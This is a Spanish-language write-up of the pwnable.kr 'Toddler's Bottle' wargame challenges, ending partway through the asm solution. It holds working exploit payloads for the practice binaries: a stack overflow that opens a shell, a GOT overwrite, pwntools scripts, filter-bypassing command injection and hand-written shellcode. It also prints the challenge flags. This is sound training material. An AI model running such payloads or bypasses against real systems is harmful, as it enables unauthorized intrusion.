pwnable.kr series (1) - Toddler's Bottle

pwnable.kr es un sitio web no comercial que contiene retos enfocados a desarrollar habilidades en explotación binaria, división conocida coloquialmente como “pwn” en sitios afines.

Los retos en pwnable.kr se dividen en cuatro categorías. Ordenadas de la más fácil a la más difícil:

  • [Toddler’s Bottle]
  • [Rookiss]
  • [Grotesque]
  • [Hacker’s Secret]

En este artículo presento las soluciones de los retos de la primera categoría: “Toddler’s Bottle”. Se espera que el lector tenga un entendimiento básico del lenguaje de programación C, las arquitecturas x86 y sistemas Linux.

Índice

fd

El descriptor de archivo 0 es la entrada estándar, pasamos el valor 0x1234 (4660 en decimal) como argumento:

1
2
3
4
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
Mama! Now_I_understand_what_file_descriptors_are!

Mama! Now_I_understand_what_file_descriptors_are!

Collision

El programa espera 20 bytes, los divide en grupos de 5 enteros de 4 bytes cada uno, los suma y compara el resultado con 0x21DD09EC, debemos pasar unos bytes que sumados den lo mismo:

1
2
3
4
5
6
7
8
9
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(int(0x21DD09EC / 5))
'0x6c5cec8'
>>> hex(0x6c5cec8*5)
'0x21dd09e8'
>>> hex(0x6c5cec8*4 + 0x6c5cecc)
'0x21dd09ec'
>>>
1
2
col@ubuntu:~$ ./col $(python3 -c 'import sys; sys.stdout.buffer.write(b"\xC8\xCE\xC5\x06"*4 + b"\xCC\xCE\xC5\x06")')
Two_hash_collision_Nicely

Two_hash_collision_Nicely

bof

Este es un buffer overflow clásico, necesitamos sobreescribir key para que la comparacion sea correcta, tambien en readme nos dicen que el programa esta corriendo en el puerto 9000 local, debemos explotarlo para encontrar la flag.

Si hacemos un breakpoint en *func+63 veremos que el offset es de 56 bytes (32 del arreglo, 16 que reserva el compilador, 4 de ebp y 4 de la dirección de retorno)

1
2
3
4
5
6
7
8
9
10
11
bof@ubuntu:~$ cat readme
bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag
bof@ubuntu:~$ (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*52+b"\xbe\xba\xfe\xca\n")';cat) | nc 0 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
Daddy_I_just_pwned_a_buff3r!

Daddy_I_just_pwned_a_buff3r!

passcode

La cadena name se almacena en ebp-0x70:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x08049324 <+50>:	lea    eax,[ebp-0x70]                     <----
0x08049327 <+53>: push eax
0x08049328 <+54>: lea eax,[ebx-0x1f8b]
0x0804932e <+60>: push eax
0x0804932f <+61>: call 0x80490d0 <__isoc99_scanf@plt>
0x08049334 <+66>: add esp,0x10
0x08049337 <+69>: sub esp,0x8
0x0804933a <+72>: lea eax,[ebp-0x70]
0x0804933d <+75>: push eax
0x0804933e <+76>: lea eax,[ebx-0x1f85]
0x08049344 <+82>: push eax
0x08049345 <+83>: call 0x8049050 <printf@plt> <----
0x0804934a <+88>: add esp,0x10

Y passcode1, passcode2 se almacenan en ebp-0x10 y ebp-0xc respectivamente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0x0804921e <+40>:	push   DWORD PTR [ebp-0x10]
0x08049221 <+43>: lea eax,[ebx-0x1fe5]
0x08049227 <+49>: push eax
0x08049228 <+50>: call 0x80490d0 <__isoc99_scanf@plt>
0x0804922d <+55>: add esp,0x10
0x08049230 <+58>: mov eax,DWORD PTR [ebx-0x4]
0x08049236 <+64>: mov eax,DWORD PTR [eax]
0x08049238 <+66>: sub esp,0xc
0x0804923b <+69>: push eax
0x0804923c <+70>: call 0x8049060 <fflush@plt>
0x08049241 <+75>: add esp,0x10
0x08049244 <+78>: sub esp,0xc
0x08049247 <+81>: lea eax,[ebx-0x1fe2]
0x0804924d <+87>: push eax
0x0804924e <+88>: call 0x8049050 <printf@plt>
0x08049253 <+93>: add esp,0x10
0x08049256 <+96>: sub esp,0x8
0x08049259 <+99>: push DWORD PTR [ebp-0xc]
0x0804925c <+102>: lea eax,[ebx-0x1fe5]
0x08049262 <+108>: push eax
0x08049263 <+109>: call 0x80490d0 <__isoc99_scanf@plt>

En la entrada del nombre se consumen 100 bytes, 0x70-0x10=0x60=96 asi que los últimos 4 bytes pueden sobreescribir passcode1.

Los scanf de los passcodes estan mal implementados:

1
2
3
4
5
6
7
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

El segundo parámetro debería ser la dirección de memoria del passcode, o sea, debería usarse & como operador de desreferencia, sin embargo aquí se está escribiendo en la dirección de memoria cuyo valor contiene passcode.

Luego del scanf de passcode1 se hace una llamada a fflush, lo que tenemos que hacer es sobreescribir el contenido de passcode1 con la dirección de fflush en la GOT y luego con esta vulnerabilidad en scanf escribir la dirección real a la que apunta fflush en la GOT.

Por alguna razón pwngdb estaba fallando y no pude ejecutar el programa, así que obtuve la dirección de fflush en la GOT con objdump:

1
2
passcode@ubuntu:~$ objdump -R passcode | grep fflush
0804c014 R_386_JUMP_SLOT fflush@GLIBC_2.0
1
2
3
4
5
6
7
8
9
10
11
...
0x0804926b <+117>: sub esp,0xc
0x0804926e <+120>: lea eax,[ebx-0x1fcf]
0x08049274 <+126>: push eax
0x08049275 <+127>: call 0x8049090 <puts@plt>
0x0804927a <+132>: add esp,0x10
0x0804927d <+135>: cmp DWORD PTR [ebp-0x10],0x1e240
0x08049284 <+142>: jne 0x80492ce <login+216>
0x08049286 <+144>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x0804928d <+151>: jne 0x80492ce <login+216>
0x0804928f <+153>: sub esp,0xc <--- Queremos saltar aqui. donde el if se cumple y se imprime la flag

Como scanf acepta solo entrada numérica para passcode1 tenemos que convertir esta dirección a un decimal con python3 -c 'print(0x0804928f)'

Resultado final:
1
2
3
4
5
6
passcode@ubuntu:~$ python3 -c 'import sys;sys.stdout.buffer.write(b"A"*96+b"\x14\xc0\x04\x08"+b"134517391")'|./passcode
Toddler's Secure Login System 1.1 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
enter passcode1 : Login OK!
s0rry_mom_I_just_ign0red_c0mp1ler_w4rning
Now I can safely trust you that you have credential :)

s0rry_mom_I_just_ign0red_c0mp1ler_w4rning

random

El programa usa rand() de libc; en Linux rand() toma de semilla el valor “1” cuando no se especifica y como es un PRNG es determinista. Como resultado el primer entero generado por rand() en Linux es siempre 1804289383

Hacemos XOR con la clave para obtener el valor correcto

1
2
3
4
5
 python3
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 1804289383 ^ 0xcafebabe
2708864985
1
2
3
4
5
6
random@ubuntu:~$ ls -l ./random
-r-xr-sr-x 1 root random_pwn 16232 Apr 5 09:49 ./random
random@ubuntu:~$ ./random
2708864985
Good!
m0mmy_I_can_predict_rand0m_v4lue!

m0mmy_I_can_predict_rand0m_v4lue!

input2

Stage 1
  1. Pasar 99 argumentos.
  2. El argumento ‘A’(65 en decimal) debe contener \x00.
  3. El argumento ‘B’(66 en decimal) debe contener \x20\x0a\x0d.
Stage 2
  1. Enviar \x00\x0a\x00\xff por stdin al programa
  2. Enviar \x00\x0a\x02\xff por stderr al programa
Stage 3
  1. Establecer la variable de entorno \xde\xad\xbe\xef con valor \xca\xfe\xba\xbe
Stage 4
  1. Crear un archivo llamado \x0a con exactamente 4 bytes \x00 de contenido.
Stage 5
  1. El argumento ‘C’(67 en decimal) debe contener un puerto válido para un socket.
  2. Conectarnos a este puerto local y enviar \xde\xad\xbe\xef por stdin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import os

args = ["A"]*99
args[64]="\x00"
args[65]="\x20\x0a\x0d"
args[66]="4444"

r,w = os.pipe()
with open("\x0a","wb") as f:
f.write(b"\x00\x00\x00\x00")
io = process(["/home/input2/input2"]+args,
stderr=r,
env={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"},
)
io.sendline(b"\x00\x0a\x00\xff")
os.write(w,b"\x00\x0a\x02\xff")

conn = remote("localhost",4444)
conn.sendline(b"\xde\xad\xbe\xef")

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nput2@ubuntu:/tmp$ python3 sk.py
sys:1: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
[+] Starting local process '/home/input2/input2': pid 217953
[+] Opening connection to localhost on port 4444: Done
[*] Switching to interactive mode
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
Mommy_now_I_know_how_to_pa5s_inputs_in_Linux

Mommy_now_I_know_how_to_pa5s_inputs_in_Linux

leg

Me gustó mucho este reto, fue mi introducción a ARM.

Primero, en esta arquitectura el registro r0 se utiliza como el valor de retorno de las funciones, asi que debemos rastrear su valor.

Key1
1
2
3
4
5
6
7
8
9
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc <--- r3 = sp = 0x00008cdc + 8 = 0x00008ce4
0x00008ce0 <+12>: mov r0, r3 <--- r0 = r3 = 0x00008ce4
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr

ARM tiene una “tubería” de ejecución con tres etapas para mejorar el rendimiento:

  1. Fetch (F): Carga la instrucción actual desde memoria
  2. Decode (D): Decodifica la instrucción
  3. Execute (E): Ejecuta la instrucción

Por eso cuando se usa pc en alguna instrucción en Fetch (F), el procesador está ejecutando dos instrucciones más adelante y pc
realmente vale instrucción_en_fetch + 8 en modo ARM O instrucción_en_fetch + 4 en modo Thumb.

Entonces key1 retorna 0x00008ce4

Key2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1 <-- Byte menos significativo de r6 es 1
0x00008d00 <+16>: bx r6 <-- Cambiando a modo Thumb
0x00008d04 <+20>: mov r3, pc <-- r3 = pc + 4 = 0x00008d08
0x00008d06 <+22>: adds r3, #4 <-- r3 = r3 + 4 = 0x00008d0c
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3 <-- r0 = r3 = 0x00008d0c
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr

El procesador ARM cambia a modo Thumb cuando el bit menos significativo (LSB) de un registro usado en una instrucción de bifurcacion (bx,blx) es 1

Entonces key2 retorna 0x00008d0c

Key3
1
2
3
4
5
6
7
8
9
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr <-- r3 = lr = 0x00008d80
0x00008d2c <+12>: mov r0, r3 <-- r0 = r3 = 0x00008d80
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr

El registro lr apunta a la dirección de retorno cuando se hace una llamada a una función con bl por ejemplo:

1
2
3
0x00008d70 <+52>:  bl  0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0 <-- lr
0x00008d78 <+60>: add r4, r4, r3

Entonces key3 retorna 0x00008d80

Final
1
2
3
4
5
6
 python3
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00008ce4 + 0x00008d0c + 0x00008d80
108400
>>>
1
2
3
4
5
/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
daddy_has_lot_of_ARM_muscl3
/ $

daddy_has_lot_of_ARM_muscl3

mistake

Normalmente fd=open("/home/mistake/password",O_RDONLY,0400) deberia terminar con fd conteniendo un número que sería el descriptor de archivo, sin embargo aqui:

1
2
3
4
5
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}

El operador < tiene mayor precedencia que el operador = y como open(...) devuelve un número positivo si tuvo éxito termina siendo fd = n<0; n es positivo = 0. Entonces fd acaba apuntando a stdin, y password se leerá de la entrada de usuario:

1
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

Entonces esperamos 20 segundos (sleep(time(0)%20);) y enviamos un valor de 10 caracteres, digamos 1111111111 y ese valor XOR 1, en este caso 0000000000:

1
2
3
4
5
6
python3
Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ord('1') ^ 1
48
>>>
1
2
3
4
5
6
mistake@ubuntu:~$ ./mistake
do not bruteforce...
1111111111
input password : 0000000000
Password OK
Mommy_the_0perator_priority_confuses_me

Mommy_the_0perator_priority_confuses_me

coin1

Es un problema de búsqueda binaria (https://es.wikipedia.org/wiki/B%C3%BAsqueda_binaria), este es soluble si log2(N) <= C y tal parece que sí:

1
2
3
N=507 C=9
N=193 C=8
N=837 C=10
1
2
3
4
5
6
7
8
9
>>> import math
>>> math.log2(507)
8.985841937003341
>>> math.log2(507)
8.985841937003341
>>> math.log2(193)
7.592457037268081
>>> math.log2(837)
9.709083812550343

Implementamos la búsqueda binaria en un script de python con pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import time

io = remote("0.0.0.0",9007)

def findCounterfeit(N,C):
low = 0
high = N - 1
for _ in range(C):
# Si se halla la moneda con menos pesadas enviar pesadas de relleno hasta llegar a C
if low == high:
io.sendline(str(low).encode())
io.recvline()
break
mid = (low + high) // 2
weight_coins = " ".join(str(i) for i in range(low,mid+1))
io.sendline(weight_coins.encode())
weight = int(io.recvline().decode().strip())
expected_weight = 10 * (mid - low + 1)
if weight < expected_weight:
high = mid
else:
low = mid + 1
return low

time.sleep(5)
for i in range(100):
line = io.recvline().decode().strip()
while not line.startswith("N="):
line = io.recvline().decode().strip()
N = int(line.split("N=")[1].split()[0])
C = int(line.split("C=")[1].split()[0])

counterfeit_coin= findCounterfeit(N,C)
io.sendline(str(counterfeit_coin).encode())
print(io.recvline().decode())
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
Correct! (95)

Correct! (96)

Correct! (97)

Correct! (98)

Correct! (99)

[*] Switching to interactive mode
Congrats! get your flag
b1naRy_S34rch1Ng_1s_3asy_p3asy

b1naRy_S34rch1Ng_1s_3asy_p3asy

blackjack

El sistema no valida una apuesta negativa; por ejemplo: si apostamos $-100000 se calcula cash = cash - (-10000) = cash + 10000 si perdemos con una apuesta negativa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(p==21) //If user total is 21, win
{
printf("\nUnbelievable! You Win!\n");
won = won+1;
cash = cash+bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}

if(p>21) //If player total is over 21, loss
{
printf("\nWoah Buddy, You Went WAY over.\n");
loss = loss+1;
cash = cash - bet;
printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
dealer_total=0;
askover();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
Would You Like To Play Again?
Please Enter Y for Yes or N for No
y

Cash: $500
-------
|S |
| 6 |
| S|
-------

Your Total is 6

The Dealer Has a Total of 1

Enter Bet: $-1000000


Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
h
-------
|S |
| J |
| S|
-------

Your Total is 16

The Dealer Has a Total of 3

Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
h
-------
|H |
| 2 |
| H|
-------

Your Total is 18

The Dealer Has a Total of 14

Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
h
-------
|H |
| A |
| H|
-------

Your Total is 19

The Dealer Has a Total of 15

Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
h
-------
|D |
| Q |
| D|
-------

Your Total is 29

The Dealer Has a Total of 19
Woah Buddy, You Went WAY over.

You have 1 Wins and 1 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
y
Woohoo_I_am_now_a_MILL10NAIRE!


Cash: $1000500
-------
|S |
| 1 |
| S|
-------

Your Total is 1

The Dealer Has a Total of 2

Enter Bet: $

Woohoo_I_am_now_a_MILL10NAIRE!

lotto

El programa chequea erróneamente los números de la lotería, asi que basta con enviar el mismo byte 6 veces y que este entre 1 de los 6 generados aletoriamente:

1
2
3
4
5
6
7
8
9
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

Las probabilidades son 1/45, así que hacemos fuerza bruta:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
io = process("./lotto")
while True:
io.recv()
io.sendline(b"1")
io.recv()
io.sendline(b"\x10"*6)
io.recvline()
r = io.recvline()
if b"bad luck..." not in r:
print(r.decode())
break

Dato curioso: Perdí mi tiempo accidentalmente usando 6 valores que estaban fuera del rango [1-45]

1
2
3
lotto@ubuntu:~$ python3 /tmp/so.py
[+] Starting local process './lotto': pid 408166
Sorry_mom_1_Forgot_to_check_duplicates

Sorry_mom_1_Forgot_to_check_duplicates

cmd1

No tenemos path asi que debemos escribir la ruta completa del comando /usr/bin/cat. Podemos usar comodines para pasar el filtro de “flag”:

1
2
cmd1@ubuntu:~$ ./cmd1 "/usr/bin/cat fl*g"
PATH_environment?_Now_I_really_g3t_it,_mommy!

PATH_environment?_Now_I_really_g3t_it,_mommy!

cmd2

Estoy seguro de que hay métodos más limpios de resolver esto pero mi solución fue la siguiente:

eval $(printf "\57usr\57bin\57cat \57home\57cmd2\57fl%s" "ag")

El subcomando de printf se expande a “/usr/bin/cat /home/cmd2/flag”. En un principio intenté usar \x2f como secuencia de escape para / pero fue malinterpretado por el programa asi que usé su equivalente en octal \57.

El comando eval ejecuta una cadena como comandos de shell dinámicamente.

Ambos printf y eval son comandos “built-in” o internos de la shell por lo que no dependen del PATH.

1
2
3
cmd2@ubuntu:~$ ./cmd2 'eval  $(printf "\57usr\57bin\57cat \57home\57cmd2\57fl%s" "ag")'
eval $(printf "\57usr\57bin\57cat \57home\57cmd2\57fl%s" "ag")
Shell_variables_can_be_quite_fun_to_play_with!

Shell_variables_can_be_quite_fun_to_play_with!

Nota: El mensaje de la bandera me da a entender que a lo mejor esta no era la solución esperada.

memcpy

El código falla en el quinto caso, específicamente la función fast_memcpy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
memcpy@ubuntu:/tmp$ echo -ne "8\n16\n32\n64\n128\n256\n512\n1024\n2048\n4096\n" | nc 0.0.0.0 9022
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy? -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data -
- 3. conclude your experiment and submit report -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : specify the memcpy amount between 16 ~ 32 : specify the memcpy amount between 32 ~ 64 : specify the memcpy amount between 64 ~ 128 : specify the memcpy amount between 128 ~ 256 : specify the memcpy amount between 256 ~ 512 : specify the memcpy amount between 512 ~ 1024 : specify the memcpy amount between 1024 ~ 2048 : specify the memcpy amount between 2048 ~ 4096 : specify the memcpy amount between 4096 ~ 8192 : ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 8
ellapsed CPU cycles for slow_memcpy : 3928
ellapsed CPU cycles for fast_memcpy : 572

experiment 2 : memcpy with buffer size 16
ellapsed CPU cycles for slow_memcpy : 668
ellapsed CPU cycles for fast_memcpy : 808

experiment 3 : memcpy with buffer size 32
ellapsed CPU cycles for slow_memcpy : 1124
ellapsed CPU cycles for fast_memcpy : 1304

experiment 4 : memcpy with buffer size 64
ellapsed CPU cycles for slow_memcpy : 2024
ellapsed CPU cycles for fast_memcpy : 308

experiment 5 : memcpy with buffer size 128
ellapsed CPU cycles for slow_memcpy : 3900

La función fast_memcpy usa las instrucciones movdqa y movntps para cargar 128 bits (16 bytes) desde/hacia un registro XMM y copiar datos desde uno de estos registros en memoria respectivamente.

Pero ambas instrucciones requieren que la pila esté alineada a 16 bytes sino causan un “General Protection Fault”:

https://mudongliang.github.io/x86/html/file_module_x86_id_183.html

https://mudongliang.github.io/x86/html/file_module_x86_id_197.html

Normalmente malloc garantiza una alineación a 8 bytes, es decir, esp % 16 == 8, entonces necesitamos sumar 8 a la cantidad de bytes reservados para que esp % 16 == 0 y la pila esté alineada a 16 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
memcpy@ubuntu:~$  echo -ne "8\n16\n32\n72\n136\n264\n520\n1032\n2056\n4096\n" | nc 0.0.0.0 9022
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy? -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data -
- 3. conclude your experiment and submit report -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : specify the memcpy amount between 16 ~ 32 : specify the memcpy amount between 32 ~ 64 : specify the memcpy amount between 64 ~ 128 : specify the memcpy amount between 128 ~ 256 : specify the memcpy amount between 256 ~ 512 : specify the memcpy amount between 512 ~ 1024 : specify the memcpy amount between 1024 ~ 2048 : specify the memcpy amount between 2048 ~ 4096 : specify the memcpy amount between 4096 ~ 8192 : ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 8
ellapsed CPU cycles for slow_memcpy : 5532
ellapsed CPU cycles for fast_memcpy : 696

experiment 2 : memcpy with buffer size 16
ellapsed CPU cycles for slow_memcpy : 1000
ellapsed CPU cycles for fast_memcpy : 1084

experiment 3 : memcpy with buffer size 32
ellapsed CPU cycles for slow_memcpy : 1112
ellapsed CPU cycles for fast_memcpy : 1248

experiment 4 : memcpy with buffer size 72
ellapsed CPU cycles for slow_memcpy : 2228
ellapsed CPU cycles for fast_memcpy : 544

experiment 5 : memcpy with buffer size 136
ellapsed CPU cycles for slow_memcpy : 4172
ellapsed CPU cycles for fast_memcpy : 580

experiment 6 : memcpy with buffer size 264
ellapsed CPU cycles for slow_memcpy : 7628
ellapsed CPU cycles for fast_memcpy : 424

experiment 7 : memcpy with buffer size 520
ellapsed CPU cycles for slow_memcpy : 14786
ellapsed CPU cycles for fast_memcpy : 568

experiment 8 : memcpy with buffer size 1032
ellapsed CPU cycles for slow_memcpy : 29028
ellapsed CPU cycles for fast_memcpy : 708

experiment 9 : memcpy with buffer size 2056
ellapsed CPU cycles for slow_memcpy : 57764
ellapsed CPU cycles for fast_memcpy : 1344

experiment 10 : memcpy with buffer size 4096
ellapsed CPU cycles for slow_memcpy : 114880
ellapsed CPU cycles for fast_memcpy : 2176

thanks for helping my experiment!
flag : b0thers0m3_m3m0ry_4lignment

b0thers0m3_m3m0ry_4lignment

asm

solución con un shellcode manual
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
BITS 64
; shellcode.asm
call _readfile
db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 0


_readfile:
; "open" file
pop rdi ; apuntar al nombre del archivo
xor rax, rax
add al, 2 ; syscall "open" (2)
xor rsi, rsi ; O_RDONLY
syscall

; "read" file
sub sp, 0xfff ; reservar espacio en la pila
lea rsi, [rsp] ; apuntar al tope de la pila
mov rdi, rax ; fd de open a read
xor rdx, rdx
mov dx, 0xfff ; número de bytes a leer
xor rax, rax ; syscall "read" (0)
syscall

; "write" to stdout
xor rdi, rdi
add dil, 1 ; fd "stdout" (1)
mov rdx, rax ; número de bytes a escribir
xor rax, rax
add al, 1 ; syscall "write" (1)
syscall

; exit
mov rax,60 ; syscall "exit" (60)
xor rdi,rdi ; exit(0)
syscall

Nota: Tener en cuenta que a veces esto de db "string",0 puede resultar fatal por el NULL BYTE del final, funciones que leen strings en C terminan cuando encuentran un NULL BYTE, asi que a veces puede que no se lea completamente el shellcode. solución a esto es agregar un caracter no nulo al final de la cadena y reemplazarlo con una instrucción antes de las syscalls:

1
2
3
4
5
6
7
8
9
10
11
 ;db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_th
e_file_name_is_very_looooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooo0000000000000000000000000oooooo ooooooooooooooooo000000000000o0o0o0o0o0o0ongA"

_readfile:
; "open" file
pop rdi ; apuntar al nombre del archivo
xor byte [rdi+231],0x41 ; aquí reemplazamos 'A' por '\x00'
xor rax, rax
add al, 2 ; syscall "open" (2)
xor rsi, rsi ; O_RDONLY
syscall

Ensamblamos esto con nasm shellcode.asm y vemos los bytes en el formato de cadena formateada con xxd -p | tr -d '\n' | sed 's/\(..\)/\\x\1/g':

1
2
 xxd -p shellcode | tr -d '\n' | sed 's/\(..\)/\\x\1/g'
\xeb\x42\x5f\x80\xb7\xe7\x00\x00\x00\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xb9\xff\xff\xff\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x41

En python con pwntools nos conectamos, enviamos el shellcode y obtenemos la flag:

1
2
3
4
5
6
7
8
from pwn import *

sh = connection = ssh('asm','pwnable.kr',password='guest',port=2222)
io = sh.process(["nc","0.0.0.0","9026"])
